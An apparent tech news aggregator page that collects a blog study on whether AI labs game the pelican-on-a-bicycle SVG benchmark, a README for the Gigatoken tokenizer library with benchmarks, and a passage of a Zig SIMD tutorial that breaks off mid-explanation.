10 interesting stories served every morning and every evening.

Check out this chat

chatgpt.com

Get re­sponses tai­lored to you

Log in to get an­swers based on saved chats, plus cre­ate im­ages and up­load files.

Are AI labs pelicanmaxxing? – Dylan Castillo

dylancastillo.co

For the past few years, Simon Willison has tested every ma­jor LLM re­lease with the same prompt: Generate an SVG of a pel­i­can rid­ing a bi­cy­cle”.

What be­gan as a tongue-in-cheek bench­mark has be­come one of the most fa­mous in­for­mal bench­marks in AI. Simon’s pel­i­can-on-a-bi­cy­cle re­sults are of­ten among the most up­voted com­ments on Hacker News threads an­nounc­ing new re­leases from AI labs.

The bench­mark is now fa­mous enough that there’s plenty of dis­cus­sion about its use­ful­ness and about whether AI labs might be bench­maxxing1 on it. When bil­lions or even tril­lions of dol­lars are at stake, and a strong re­sult could help per­suade users, would­n’t it be tempt­ing to pel­i­can­maxx your model just a bit?

I wanted to find out, so I put to­gether a small ex­per­i­ment. I gen­er­ated 1,008 SVGs across seven fron­tier mod­els, scored them with an LLM judge, and used Claude Fable 5 for the analy­sis.

This ar­ti­cle pre­sents the re­sults. All the code is avail­able on Github.

How I tested it

I built a grid of 8 an­i­mals × 6 ve­hi­cles = 48 prompts, where the fa­mous prompt is one cell:

Animals: pel­i­can, flamingo, heron, ot­ter, rac­coon, an­te­lope, whale, cat

Vehicles: bi­cy­cle, uni­cy­cle, skate­board, scooter, plane, boat

Every prompt uses al­most iden­ti­cal phras­ing to Simon’s, only switch­ing the an­i­mal and ve­hi­cle. The an­i­mal and ve­hi­cle se­lec­tion was­n’t done in a very rig­or­ous man­ner, but I tried to vary both sim­i­lar­ity to the orig­i­nal prompt and dif­fi­culty. Flamingo and heron are quite sim­i­lar to pel­i­cans; cat, rac­coon, and ot­ter are easy cases; an­te­lope is hard; and whale is as dif­fer­ent as you can get.

I tested seven mod­els through OpenRouter: GPT-5.6 Terra, Claude Sonnet 5, Gemini 3.5 Flash, Grok 4.5, Qwen3.7-Max, GLM-5.2, and DeepSeek V4 Pro. I gen­er­ated 3 sam­ples per prompt, at tem­per­a­ture 1.0, re­quest­ing the same rea­son­ing ef­fort from every model. That re­sulted in 1,008 SVGs.

Then I ran each im­age through a three-stage pipeline:

Rendering: Each SVG is ren­dered to PNG. If a model re­turns no SVG or one that fails to ren­der, I re­gen­er­ate un­til it pro­duces a valid one, and record the num­ber of at­tempts. There were only 11 re­tries across the 1,008 gen­er­a­tions.

Judging: GPT-5.6 Luna scores each im­age with 1 – 5 rat­ings for the an­i­mal, the ve­hi­cle, and the co­her­ence of the ac­tion. When I rank an­i­mals or ve­hi­cles be­low, I use the match­ing rat­ing on its own. When I need one num­ber per im­age, I use the av­er­age of the three, which I call the judge score.

Feature ex­trac­tion: For a more de­tailed analy­sis, I also passed each ren­dered im­age to Gemini 3.1 Flash-Lite, which recorded the an­i­mal and ve­hi­cle it rec­og­nized, which way the sub­ject faces, and an open-ended list of scene el­e­ments.

My hy­poth­e­sis is that if a lab trained on the bench­mark, it should show up in some com­bi­na­tion of the pel­i­can row scor­ing above what the an­i­mal de­serves, the bi­cy­cle col­umn scor­ing above what the ve­hi­cle de­serves, or the spe­cific pel­i­can-bi­cy­cle cell beat­ing both.

Evidence #1: The pel­i­cans on bi­cy­cles don’t look any bet­ter

Before any scor­ing, the sim­plest test is to look at the im­ages your­self. Pick a lab to see every­thing it drew, with the judge’s score un­der each im­age (click to open full size):

I looked through the im­ages my­self be­fore run­ning the analy­sis be­low. Nothing jumped out at me. I could­n’t find a case where the pel­i­can-bi­cy­cle im­ages looked no­tice­ably bet­ter than the rest of that mod­el’s grid. Maybe in GLM-5.2’s first sam­ple it felt slightly bet­ter than the rest, but that batch also pro­duced a pretty cool heron on a skate­board, so I can­not say for sure. Otherwise they look like the rest of what each model draws, and the labs that draw good pel­i­cans on bi­cy­cles also do a good job draw­ing other an­i­mal-ve­hi­cle com­bi­na­tions.

But this test is hard to repli­cate, and every­one will have a dif­fer­ent opin­ion. So I wanted some­thing more quan­ti­ta­tive, which is why I opted for the method de­tailed above.

Evidence #2: Labs are not bet­ter at draw­ing pel­i­cans

Here’s the mean an­i­mal rat­ing per an­i­mal, pooled across all mod­els:

The pel­i­can is 6th of 8, be­hind cat, whale, rac­coon, heron, and an­te­lope. If AI labs were train­ing on the bench­mark, you’d ex­pect pel­i­cans at the top. Instead they’re in the bot­tom half. All seven labs draw cats, whales, and rac­coons bet­ter than pel­i­cans.

Of course, a pel­i­can may sim­ply be harder to draw than a cat. A lab could train on pel­i­cans and still not push them past the easy an­i­mals, so this rank­ing alone can’t rule that out. I’ll ad­just for dif­fi­culty in Evidence #4.

Evidence #3: Labs are not bet­ter at draw­ing bi­cy­cles

Bicycles fare even worse. They sit sec­ond from last, in a near-tie with planes, which come in last:

If labs were train­ing on the bench­mark, you’d ex­pect bi­cy­cles near the top of this rank­ing. They’re not. However, the same caveat ap­plies here. A bi­cy­cle is harder to draw than a skate­board: it needs two match­ing wheels, a frame that reaches both axles, han­dle­bars, a seat, and ped­als. The judge flags a miss­ing or dis­con­nected one of those on 2/3 of the bi­cy­cle im­ages. You can train on bi­cy­cle im­ages and still not do a great job rel­a­tive to sim­pler ve­hi­cles.

One note on the plane, though: I should’ve picked airplane” in­stead of plane” be­cause mod­els of­ten read it geo­met­ri­cally. They drew the an­i­mal stand­ing on a flat sur­face in­stead of fly­ing an air­craft. The plane is the only ve­hi­cle where the fea­ture ex­trac­tor some­times found no ve­hi­cle at all (25 of 168 im­ages, against zero for the other five), and 20% of plane im­ages scored a 1 or 2 on the ve­hi­cle rat­ing, against 5% for bi­cy­cles and none at all for boats, scoot­ers, or skate­boards.

Evidence #4: Labs are not bet­ter at draw­ing pel­i­cans on bi­cy­cles, even ad­just­ing for dif­fi­culty

Put the two to­gether and the pelican on a bi­cy­cle” ends up near the bot­tom of the rank­ing, at #42 of 48:

But again, some com­bi­na­tions might be just harder to draw than oth­ers.

To ac­count for that, I fit a fixed-ef­fects re­gres­sion on all 1,008 im­ages: score ~ lab + an­i­mal × ve­hi­cle, plus per-lab in­ter­ac­tion terms for pel­i­can, bi­cy­cle, and the pel­i­can-bi­cy­cle cell, with ro­bust stan­dard er­rors. The an­i­mal × ve­hi­cle terms ab­sorb the in­her­ent dif­fi­culty of all 48 com­bi­na­tions. The in­ter­ac­tions mea­sure each lab’s bench­mark-spe­cific boost rel­a­tive to the av­er­age lab, with con­fi­dence in­ter­vals.

The re­sults:

Every per-lab pel­i­can ef­fect (the lab’s boost on pel­i­cans across all six ve­hi­cles) lands be­tween -0.11 and +0.14 judge points, and none comes close to sig­nif­i­cance (smallest p = 0.25).

The per-lab bi­cy­cle ef­fects (the lab’s boost on bi­cy­cles across all eight an­i­mals) run from Grok 4.5 at -0.18 (p=0.11) to Gemini 3.5 Flash at +0.27 (p=0.022). Only Gemini clears p < 0.05, and the seven point in both di­rec­tions.

No pel­i­can-bi­cy­cle cell ef­fect (the ex­tra boost on the spe­cific com­bi­na­tion, on top of the lab’s pel­i­can and bi­cy­cle ef­fects) clears p < 0.05. The largest pos­i­tive is GLM-5.2 at +0.35 (p=0.12), which is the one I men­tioned ear­lier. It’s the clos­est thing to a sig­nal in this ex­per­i­ment, but still within chance.

Here are the full per-lab es­ti­mates. A pel­i­can­maxxing lab would show dots to the right of the zero line across its whole row:

Every pel­i­can in­ter­val and every cell in­ter­val con­tains zero. Exactly one does­n’t: Gemini 3.5 Flash in the bi­cy­cle col­umn. But with 21 tests at p < 0.05, chance alone pre­dicts about one false pos­i­tive (21 × 0.05 ≈ 1.05), and one is ex­actly what came up. It also does­n’t sur­vive a mul­ti­ple-com­par­isons cor­rec­tion: the Bonferroni thresh­old across the 21 tests is 0.05/21 ≈ 0.002, and its p-value is 0.022. The full table of es­ti­mates and p-val­ues is in the repo.

But these in­ter­vals are wide, about ±0.6 judge points on av­er­age. Any boost smaller than that won’t be cap­tured by this test.

Evidence #5: The pel­i­can-bi­cy­cle scenes don’t look mem­o­rized

Some have sug­gested that the pel­i­can on a bi­cy­cle looks like a mem­o­rized com­po­si­tion, point­ing to re­cur­ring pat­terns such as the pel­i­can al­ways fac­ing right, or re­cur­ring el­e­ments like a sun or a scarf. So I wanted to know if this was true.

Direction: All 21 pel­i­can-bi­cy­cle im­ages, across all seven labs, face right. No other an­i­mal/​ve­hi­cle com­bi­na­tion does that.

However, fac­ing right is com­mon: 60% of all 1,008 im­ages do it. How com­mon de­pends on the an­i­mal and the ve­hi­cle, and bi­cy­cles are one of the two ve­hi­cles where it’s strongest:

Pelicans are also among the an­i­mals that tend to face right:

It’s hard to draw a pel­i­can or a bi­cy­cle fac­ing the viewer, so mod­els al­most al­ways draw them from the side, fac­ing left or right. That’s why so few of their im­ages are am­bigu­ous. Other com­bi­na­tions also come close to unan­i­mous: an­te­lope on a scooter and pel­i­can on a scooter land at 20 of 21, and heron on a bi­cy­cle at 19 of 21. So 21 out of 21 does­n’t seem like an out­lier.

Scene el­e­ments: I let the ex­trac­tor name any el­e­ment it saw in the im­age. These are the counts:

A mem­o­rized scene would show up as the same set of el­e­ments re­cur­ring pic­ture af­ter pic­ture. I went look­ing for that, and found some com­bi­na­tions do tend to pro­duce the same el­e­ments every time. Every sin­gle flamingo on a boat has a sun in it. Otters on planes wear scarves 38% of the time. Cats on bi­cy­cles get a bas­ket 38% of the time.

The pel­i­can on a bi­cy­cle does­n’t seem to have any­thing par­tic­u­larly dif­fer­ent about it. It just has some el­e­ments that ap­pear more fre­quently, like every other an­i­mal-ve­hi­cle com­bi­na­tion.

Limitations

Using a sin­gle LLM judge for scor­ing. Every score here comes from one model, GPT-5.6 Luna, look­ing at one im­age at a time. I did­n’t do much align­ment and did­n’t check how of­ten it agrees with it­self on a re-run. If a model just can’t judge a draw­ing re­li­ably, none of the num­bers above mean much. The judge is also from the same fam­ily as one of the con­tes­tants, GPT-5.6 Terra. However, every lab draws all 48 com­bi­na­tions, so a judge that hap­pens to like one lab’s style lifts that lab’s whole grid at once. But that does­n’t change the re­sults be­cause this analy­sis only cares about the within-lab dif­fer­ences.

SVGmaxxing. A lab that op­ti­mized SVG gen­er­a­tion as a whole (or a sub­set such as an­i­mals on ve­hi­cles) rises on every cell at once and looks iden­ti­cal to a lab that’s just good. Some labs, such as Google/DeepMind, openly do this. This ex­per­i­ment can’t de­tect that.

Limited bud­get. The whole ex­per­i­ment ran on roughly $80 of API cred­its. That capped it at 3 sam­ples per cell, a sin­gle judge, and 7 mod­els. This also pre­vented me from it­er­at­ing too much on the prompts and pipeline, as with the plane” vs. “air­plane” case.

Conclusion

Sorry, HN haters, but there’s lit­tle ev­i­dence that AI labs are pel­i­can­maxxing. Or at least they’re not do­ing it in a plainly ob­vi­ous man­ner.

Pelicans aren’t drawn any bet­ter than other an­i­mals. Bicycles aren’t drawn any bet­ter than other ve­hi­cles. And no lab draws the com­bi­na­tion bet­ter than its pel­i­cans and bi­cy­cles al­ready pre­dict. GLM-5.2 comes clos­est: it has the largest boost on the ex­act pel­i­can-bi­cy­cle cell, and its first pel­i­can-on-bi­cy­cle sam­ple caught my eye. But the ef­fect is small and not sig­nif­i­cant, so I would­n’t put too much weight on it.

The other thing that stands out is di­rec­tion in the scene com­po­si­tion. All 21 pel­i­can-bi­cy­cle im­ages face right, the only com­bi­na­tion in the grid where every im­age agrees. But it does­n’t seem that strange. Facing right is the norm across the ex­per­i­ment. Three other com­bi­na­tions land at 90% or above, and with 48 of them, I’m not sur­prised one reached 21 out of 21.

The more plau­si­ble story is SVGmaxxing like Google/DeepMind does. Other labs might be do­ing it more qui­etly. Sadly, this ex­per­i­ment can’t say who’s do­ing it. But at least you can sleep tonight know­ing that AI labs are not pro­duc­ing ter­abytes of pel­i­cans on bi­cy­cles just to trick Simon Willison.

If you want to look at the data your­self, the full pipeline is in the repo.

Footnotes

the prac­tice of op­ti­miz­ing AI mod­els to achieve high scores on pop­u­lar bench­marks.↩︎

the prac­tice of op­ti­miz­ing AI mod­els to achieve high scores on pop­u­lar bench­marks.↩︎

Citation

BibTeX ci­ta­tion:

@online{castillo2026, au­thor = {Castillo, Dylan}, ti­tle = {Are {AI} Labs Pelicanmaxxing?}, date = {2026 – 07-18}, url = {https://​dy­lan­castillo.co/​posts/​pel­i­can­maxxing.html}, langid = {en} }

For at­tri­bu­tion, please cite this work as:

Castillo, Dylan. 2026. Are AI Labs Pelicanmaxxing?” July 18. https://​dy­lan­castillo.co/​posts/​pel­i­can­maxxing.html.

GitHub - marcelroed/gigatoken: Language model tokenization at GB/s

github.com

~1000x faster than HuggingFace’s to­k­eniz­ers, drop-in re­place­ment.

Tokenize your text data at GB/s!

Note that both HF to­k­eniz­ers and tik­to­ken are al­ready run­ning mul­ti­threaded Rust!

What is Gigatoken?

Gigatoken is the fastest to­k­enizer for lan­guage mod­el­ing. It sup­ports a wide range of CPU hard­ware, and nearly all com­monly used to­k­eniz­ers. See the Benchmarks sec­tion for de­tailed through­put num­bers across to­k­eniz­ers and CPUs.

Installation

pip in­stall gi­ga­to­ken

Usage

Gigatoken can be used with its own API, or in com­pat­i­bil­ity mode with HuggingFace Tokenizers or Tiktoken.

Compatibility Mode (Easiest)

im­port gi­ga­to­ken as gt

# Minimum change from ex­ist­ing HuggingFace to­k­eniz­ers us­age (compatibility mode) hf_­to­k­enizer = … to­k­enizer = gt.To­k­enizer(hf_­to­k­enizer).as_hf()

# to­k­enizer can be used in the same con­texts as hf_­to­k­enizer to­kens = to­k­enizer.en­code_­batch([“This is a test string”, And here is an­other”])

# OR with tik­to­ken tik­to­k­enizer = … to­k­enizer = gt.To­k­enizer(tik­to­k­enizer).as_tik­to­ken()

# Now works like ex­ist­ing tik­to­ken to­k­eniz­ers to­kens = to­k­enizer.en­code_­batch([“This is a test string”, And here is an­other”])

A sub­stan­tial amount of ef­fort has been put into mak­ing sure the out­puts match ex­actly with what you would get with HuggingFace Tokenizers in this set­ting, but this is at a non-neg­li­gi­ble cost to per­for­mance. You can still ex­pect way faster per­for­mance across the board, but not quite the 1000x you will get with the Gigatoken API.

Gigatoken API (Fastest)

im­port gi­ga­to­ken as gt

to­k­enizer = gt.To­k­enizer(“Qwen/​Qwen3 – 8B”) # Accepts HF model names file_­source = gt.TextFile­Source([“owt_­train.txt”], sep­a­ra­tor=b”<|end­of­text|>“) to­kens = to­k­enizer.en­code_­files(file_­source)

Using the Gigatoken API lets the Rust im­ple­men­ta­tion read data di­rectly, and skips as much over­head as pos­si­ble while al­low­ing for max­i­mum par­al­lelism. Keep in mind that pass­ing Python data struc­tures through this API still in­curs the over­head of read­ing from Python.

Benchmarks

OWT (openwebtext) was cho­sen be­cause it’s roughly rep­re­sen­ta­tive of the text you get af­ter ex­trac­tion from CommonCrawl doc­u­ments. Gigatoken en­codes the whole file un-split, and is thus do­ing more work than the other to­k­eniz­ers to find the split bound­aries and au­to­mat­i­cally par­al­lelize. HuggingFace to­k­eniz­ers (encode_batch_fast) gets the first 100 MB and tik­to­ken (encode_ordinary_batch) the first 1 GB, both pre­split on <|endoftext|>. This is fair be­cause nei­ther of the com­pared to­k­eniz­ers do caching, mean­ing the speed is roughly uni­form through­out pro­cess­ing. Tiktoken rows are cur­rently only filled in for to­k­eniz­ers with of­fi­cial sup­port.

The slow­est rows are the SentencePiece-based to­k­eniz­ers, which are not well op­ti­mized in Gigatoken.

Each row is one dis­tinct to­k­enizer (identical vo­cab/​merges/​pre­to­k­enizer), mea­sured on a rep­re­sen­ta­tive repo. If you don’t see your to­k­enizer here, it’s likely based on some ex­ist­ing one. For in­stance:

Llama 3 / 3.1 / 3.2 — Llama 3 / 3.1 / 3.2, DeepSeek-R1-Distill-Llama, Hermes 3, Saiga, and other Llama-3 fine­tunes

Llama 3.3 — Llama 3.3, Llama-3.1-Nemotron-Nano-VL, SmolLM3, Kanana 1.5, jina-em­bed­dings-v5, Ultravox

Qwen 2 / 2.5 — Qwen 2 and 2.5 (incl. Coder and VL), Qwen3-Coder, Qwen3-VL, DeepSeek-R1 Qwen dis­tills, MiMo V2.5, MiniCPM-o 2.6, InternVL3

Qwen 3 — Qwen 3 (incl. Embedding and Reranker), Qwen2.5-Omni, Qwen3-VL-Embedding, MiMo V2.5 Pro, jina-reranker-m0, pplx-em­bed, MOSS-TTS, Zeta

DeepSeek V3 / R1 / V4 — DeepSeek V3 / V3.1 / V3.2, R1, V4 Flash and Pro, DeepSeek-VL2

GLM 4 — GLM 4.1V, 4.5, and 4.7

GLM 5 — GLM 5 / 5.2 and GLM-4.7-Flash

Nemotron 3 — Nemotron 3 Nano, Super, and Ultra

Kimi K2 — Kimi K2 / K2.5 / K2.6 / K2.7, Kimi-Linear, Kimi-VL, Moonlight

Phi-4-mini — Phi-4-mini and Phi-4-multimodal

TinyLlama / Phi-3 (Llama 2) — TinyLlama, Phi-3-mini, Phi-3.5-mini and Phi-3.5-vision (the Llama 2 vo­cab)

Gemma 3 — Gemma 3 (270M–27B) and EmbeddingGemma

Gemma 4 — Gemma 4 (dense, MoE, and E-series) and DiffusionGemma

FAQ

Q: Did you just way over-op­ti­mize for a spe­cific CPU and to­k­enizer? How is it so fast?

No, I way over-op­ti­mized for every com­bi­na­tion of these! The re­sults are very con­sis­tent across CPUs (modern x86 and ARM), and across spe­cific to­k­eniz­ers.

The ma­jor im­prove­ments are in op­ti­miz­ing heav­ily an im­ple­men­ta­tion that usu­ally is out­sourced to a Regex en­gine (pretokenization) us­ing SIMD, min­i­miz­ing branch­ing and other tricks, as well as heav­ily op­ti­miz­ing caching of pre­to­ken map­pings (if a word has been seen be­fore, look it up its en­coded to­kens ef­fi­ciently). Caching is a very hard prob­lem in this do­main since the cache grows very quickly, and pre­to­ken dis­tri­b­u­tions are very long-tailed.

Some gains are also achieved from min­i­miz­ing in­ter­ac­tions with Python, and avoid­ing com­mu­ni­ca­tion be­tween threads.

Q: How can I quickly check if my to­k­enizer is sup­ported?

You can try it out with­out in­stalling any­thing! The fol­low­ing com­mand will val­i­date and time to­k­eniza­tion for a given HuggingFace model repo:

# Download your data wget https://​hug­ging­face.co/​datasets/​stan­ford-cs336/​owt-sam­ple/​re­solve/​main/​owt_­train.txt.gz # Just an ex­am­ple! gun­zip owt_­train.txt.gz

uvx –with to­k­eniz­ers gi­ga­to­ken bench openai-community/gpt2’ owt_­train.txt \ –validate –doc-separator <|endoftext|>”

cpu: Apple M4 Max, 16 cores gi­ga­to­ken: 1.432 s | 11920.51 MB at 8327.05 MB/s | 2701.65 Mtok at 1887.23 Mtok/s hf: 16.250 s | 100.00 MB at 6.15 MB/s | 22.76 Mtok at 1.40 Mtok/s gi­ga­to­ken is 1353.13x faster than hf val­i­da­tion OK: 20401 doc­u­ments match

cpu: AMD EPYC 9565 72-Core Processor, 144 cores, 2 sock­ets gi­ga­to­ken: 0.486 s | 11920.51 MB at 24532.45 MB/s | 2701.65 Mtok at 5564.94 Mtok/s hf: 4.033 s | 100.00 MB at 24.80 MB/s | 22.76 Mtok at 5.63 Mtok/s gi­ga­to­ken is 989.21x faster than hf val­i­da­tion OK: 20401 doc­u­ments match

At the rates we see on the EPYC CPU, you could to­k­enize the en­tirety of Common Crawl (often con­sid­ered to be the en­tire in­ter­net, 130 tril­lion to­kens) in just un­der 6.5 hours!

This ex­am­ple uses the train sam­ple from this dataset, and the CLI by de­fault sub­sets to the first 100MB of the file for val­i­da­tion and com­par­i­son with HF. You can see help for these flags with uvx gi­ga­to­ken bench –help. You might need to run your com­mands twice on ma­cOS to get a good read­ing, since the first run will al­ways per­form a se­cu­rity scan, which will slow down the Rust code.

Q: I’ve found a mis­match/​slow use-case, is this ex­pected?

Most likely not! Despite rea­son­ably wide test­ing I don’t have every use-case on hand, so please re­port any­thing you find in a GitHub Issue so I can ad­dress it as soon as pos­si­ble.

Citation

If you use Gigatoken in your re­search, please cite it as:

@software{roed2026gigatoken, au­thor = {Marcel R{\o}d}, ti­tle = {{G}igatoken: SIMD and Cache Hierarchies for 1000x Faster Byte-Pair Encoding Tokenization on Modern CPUs}, url = {https://​github.com/​marcel­roed/​gi­ga­to­ken}, year = {2026}, }

Known Issues

Python it­er­a­tion is han­dled in Rust, but uses ABI3, which is slower than us­ing in­ter­nal ver­sion-spe­cific CPython APIs. In the fu­ture I in­tend to spe­cial­ize for each Python ver­sion to cut this over­head. Early ex­per­i­ments show a 2x speed im­prove­ment for over­head-bound cases.

File sinks are not yet im­ple­mented in the Gigatoken API.

WordPiece is not yet sup­ported.

SentencePiece-based to­k­eniza­tion is not nearly as op­ti­mized as the more com­mon BPE to­k­eniz­ers. This is low pri­or­ity for now since mostly Google mod­els/​BERT style mod­els use SentencePiece.

Windows has not been tested much, so for now pre­fer us­ing WSL.

Implementing the user-fac­ing API

Widening of com­pat­i­bil­ity, for in­stance gen­er­al­iz­ing and port­ing the pre­to­k­enizer im­ple­men­ta­tions to sup­port more to­k­eniz­ers, less in­ter­est­ing fea­tures like padding/​trun­ca­tion/​uni­code nor­mal­iza­tion

Porting SIMD strate­gies be­tween AVX512/AVX2/NEON

Final pro­fil­ing stages and the last ~4x worth of per­for­mance from elim­i­nat­ing branch­ing and im­prov­ing the pre­to­ken cache hi­er­ar­chy

Refactoring and code reuse

Everyone Should Know SIMD

mitchellh.com

SIMD has a rep­u­ta­tion for be­ing com­plex. I’ve met many very good soft­ware en­gi­neers who dis­miss it as some­thing too com­plex to learn or a niche op­ti­miza­tion meant for only the high­est-per­for­mance soft­ware, not use­ful in every­day pro­gram­ming.

I think that’s wrong. SIMD can be sim­ple to un­der­stand1, and com­mon process N val­ues at a time” SIMD code to speed up a naive for loop al­most al­ways fol­lows the same gen­eral shape. Once you learn the ba­sics, writ­ing SIMD is just about as easy as a for loop. And when it’s not, it’s usu­ally a good sign to skip it for now.

Every de­vel­oper should know at least that much SIMD.

This post uses Zig for ex­am­ples but is a gen­eral piece that ap­plies to any pro­gram­ming lan­guage. Support for SIMD in­struc­tions varies by pro­gram­ming lan­guage and I hope that more pro­gram­ming lan­guages ex­pose these generic con­cepts in the fu­ture!

I hate that I have to do this for every post now, but I also want to note this was com­pletely hand-writ­ten with no AI as­sis­tance.

Background: What Is SIMD?

The Common Shape

A Real Example

Step 1: Broadcast Constants

Step 2: Loop One Vector at a Time

Step 3: Perform the SIMD Operation

Step 4: Reduce the Vector Result

Step 5: Finish with the Scalar Tail

Recap: The Common Shape

Why Can’t the Compiler Do This?

Everyone Should Know SIMD

Background: What Is SIMD?

If you al­ready know what SIMD is, skip this sec­tion.

SIMD al­lows a CPU to op­er­ate on mul­ti­ple val­ues in par­al­lel. For ex­am­ple, in­stead of com­par­ing one byte at a time, a CPU can com­pare 4, 8, or even more bytes with a sin­gle in­struc­tion.

If you ever see loops like this in your code:

for (byte in bytes) { /* … */ } for (character in string) { /* … */ } for (value in ar­ray) { /* … */ }

There is an op­por­tu­nity to use SIMD. SIMD turns those into this:

for (8 byte chunk in bytes) { /* … */ }

This re­sults in a lo­cal­ized speedup that di­rectly maps to the par­al­lelism: you process data 4x, 8x, or even faster.

The only real re­quire­ment for this to pay off is that you need to be reg­u­larly pro­cess­ing a large enough num­ber of bytes. If you’re do­ing these for loops across data that is only ever a hand­ful or dozens of bytes, it’s not worth it. But if this is it­er­at­ing over hun­dreds, thou­sands, mil­lions of bytes, the pay­off will be huge.

That’s the ba­sics. Projects such as sim­dutf and simd­j­son take this to an ex­treme and use SIMD tech­niques that can be dif­fi­cult to un­der­stand. But you do not need to write al­go­rithms like those to ben­e­fit from SIMD. The com­mon case is dra­mat­i­cally sim­pler.

The Common Shape

The com­mon process N val­ues at a time” SIMD code fol­lows the same five steps:

Broadcast any con­stants you need and ini­tial­ize vec­tor ac­cu­mu­la­tors, if any.

Loop over in­put one vec­tor-width chunk at a time.

Perform the com­par­i­son or arith­metic across all lanes in par­al­lel.

Reduce or store the vec­tor re­sult as needed.

Handle the re­main­ing el­e­ments with a scalar tail. A scalar tail is just your nor­mal loop from be­fore vec­tor­iz­ing, but it only processes the re­main­der that does­n’t fit into a full vec­tor.

As you do this more and more, you’ll be­gin to nat­u­rally de­com­pose every for loop into these five steps and writ­ing SIMD be­comes nearly as nat­ural as writ­ing a scalar loop.

A Real Example

Let’s look at a real ex­am­ple from Ghostty. We’ll look at the scalar im­ple­men­ta­tion, the SIMD im­ple­men­ta­tion, and then map it back to the com­mon shape above.

I have a slice of de­coded code­points that I want to con­sume un­til I see a value at or be­low 0xF (a C0 con­trol char­ac­ter).2 Terminals are mostly plain char­ac­ters to be printed, so we try to batch all those to­gether. So this loop finds the end of the next print­able run as quickly as pos­si­ble.

The scalar loop is one line:

while (end < cps.len and cps[end] > 0xF) end += 1;

It processes one code­point at a time. It is easy to un­der­stand.

Here is the generic vec­tor ver­sion with no CPU-specific in­trin­sics3 and no com­ments. I will ex­plain it in de­tail later.

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const thresh­old: V = @splat(0xF); while (end + lanes <= cps.len) : (end += lanes) { const val­ues: V = cps[end..][0..lanes].*; const greater_than_thresh­old = val­ues > thresh­old; if (@reduce(.And, greater_than_thresh­old)) con­tinue; const mask: std.meta.Int(.un­signed, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break; } }

while (end < cps.len and cps[end] > 0xF) end += 1;

12 more lines of code.

This can im­prove the loop’s through­put by up to 4x with ARM NEON (including Apple Silicon), 8x with AVX2 (most mod­ern x86 CPUs), and 16x with AVX-512 (some Intel CPUs and AMD Zen 4 and newer).

In real-world end-to-end through­put from ter­mi­nal pro­gram to fi­nal­ized ter­mi­nal state on an AVX2 Intel desk­top, this was more like a 5x speedup. You al­ways lose some of the ideal speedup due to the other stuff around the SIMD code, but… that’s still 5x!

Okay, now I un­der­stand that those 12 lines are go­ing to look re­ally alien to some­one not fa­mil­iar with the con­cepts. So now let’s back up and ex­plain it step by step, map­ping it di­rectly to the shape pre­vi­ously men­tioned.

Step 1: Broadcast Constants

Let’s start with the first three lines:

if (simd.lanes(u32)) |lanes| { const V = @Vector(lanes, u32); const thresh­old: V = @splat(0xF);

simd.lanes(u32) is a helper in Ghostty that re­turns the num­ber of u32 val­ues the tar­get CPU can process at once. These in­di­vid­ual val­ues are called lanes. On ARM this re­turns 4, AVX2 re­turns 8, and AVX-512 re­turns 16. If the tar­get does­n’t have a vec­tor size we want to use, it re­turns null and we skip all of this code and do zero SIMD work.

@Vector(lanes, u32) cre­ates the vec­tor type. If lanes is 8, then V is a sin­gle value con­tain­ing eight u32 val­ues that the CPU can op­er­ate on in par­al­lel. And so on.

Finally, we need to com­pare every value to 0xF. A vec­tor com­par­i­son re­quires a vec­tor on both sides, so @splat(0xF) copies, or broad­casts, 0xF into every lane. The re­sult is a vec­tor that looks like this:

{ 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF }

This is step 1: pre­pare the vec­tor type and broad­cast any con­stants. Some al­go­rithms also ini­tial­ize a vec­tor ac­cu­mu­la­tor here, but this al­go­rithm does­n’t need one.

Step 2: Loop One Vector at a Time

Next, we loop over one com­plete vec­tor at a time:

while (end + lanes <= cps.len) : (end += lanes) { const val­ues: V = cps[end..][0..lanes].*;

If lanes is 8, we only en­ter the loop when at least eight val­ues re­main. Inside the loop, we load those eight val­ues into the vec­tor val­ues. At the end of every loop, end += lanes moves for­ward by eight val­ues in­stead of one.

The re­quire­ment for a com­plete vec­tor is im­por­tant. If only five val­ues re­main, we can’t load an eight-lane vec­tor. There are var­i­ous tricks to han­dle this, but we do the easy thing and han­dle them via our scalar tail, which I’ll ex­plain later in step 5.

This is step 2: load and loop over the in­put one vec­tor-width chunk at a time. You can see the lane-count speedup here!

Step 3: Perform the SIMD Operation

Now we per­form the com­par­i­son:

const greater_than_thresh­old = val­ues > thresh­old;

Both val­ues and thresh­old are vec­tors, so this maps to a vec­tor op­er­a­tion (a lit­eral vec­tor CPU in­struc­tion). The one > com­pares every lane in val­ues to every cor­re­spond­ing lane in thresh­old. If there are eight lanes, this is equiv­a­lent to per­form­ing the scalar com­par­i­son cps[end] > 0xF eight times, but it does it in one CPU in­struc­tion in­stead.4

The re­sult is an­other vec­tor with one boolean per lane. Conceptually, it looks some­thing like this:

val­ues: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } thresh­old: { 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF, 0xF } greater_than_thresh­old: { true, true, true, false, true, true, true, true }

This is the ac­tual SIMD op­er­a­tion. There is no ex­plicit in­ner loop. The > op­er­a­tor ap­plies to every lane in par­al­lel.

Comparisons are only one ex­am­ple. This could be ad­di­tion, mul­ti­pli­ca­tion, min­i­mum, max­i­mum, or any other op­er­a­tion sup­ported by the vec­tor type. The point is the code still has the same shape.

Step 4: Reduce the Vector Result

We now have a vec­tor of booleans, but the orig­i­nal loop needs to know the lo­ca­tion of the first value at or be­low 0xF.

First, let’s han­dle the com­mon case where every value is above 0xF:

if (@reduce(.And, greater_than_thresh­old)) con­tinue;

@reduce(.And, …) com­bines every boolean us­ing and and re­turns a sin­gle boolean. If every lane is true, we con­tinue and process the next vec­tor. In our ex­am­ple, lane 3 is false, so @reduce re­turns false and we fall through to find ex­actly which lane failed.

If any lane is false, then we need to find ex­actly which lane failed:

const mask: std.meta.Int(.un­signed, lanes) = @bitCast(greater_than_threshold); end += @ctz(~mask); break;

@bitCast turns the vec­tor of booleans into an in­te­ger with one bit per lane. A 1 bit means the value was greater than 0xF and a 0 means it was­n’t. We in­vert the mask so failed com­par­isons are 1, and then @ctz counts the num­ber of zero bits be­fore the first fail­ure. That count is the in­dex of the first fail­ing lane.

We add that in­dex to end and break be­cause we found the con­trol char­ac­ter.

Using the same val­ues from step 3, we can see this trans­for­ma­tion per lane:

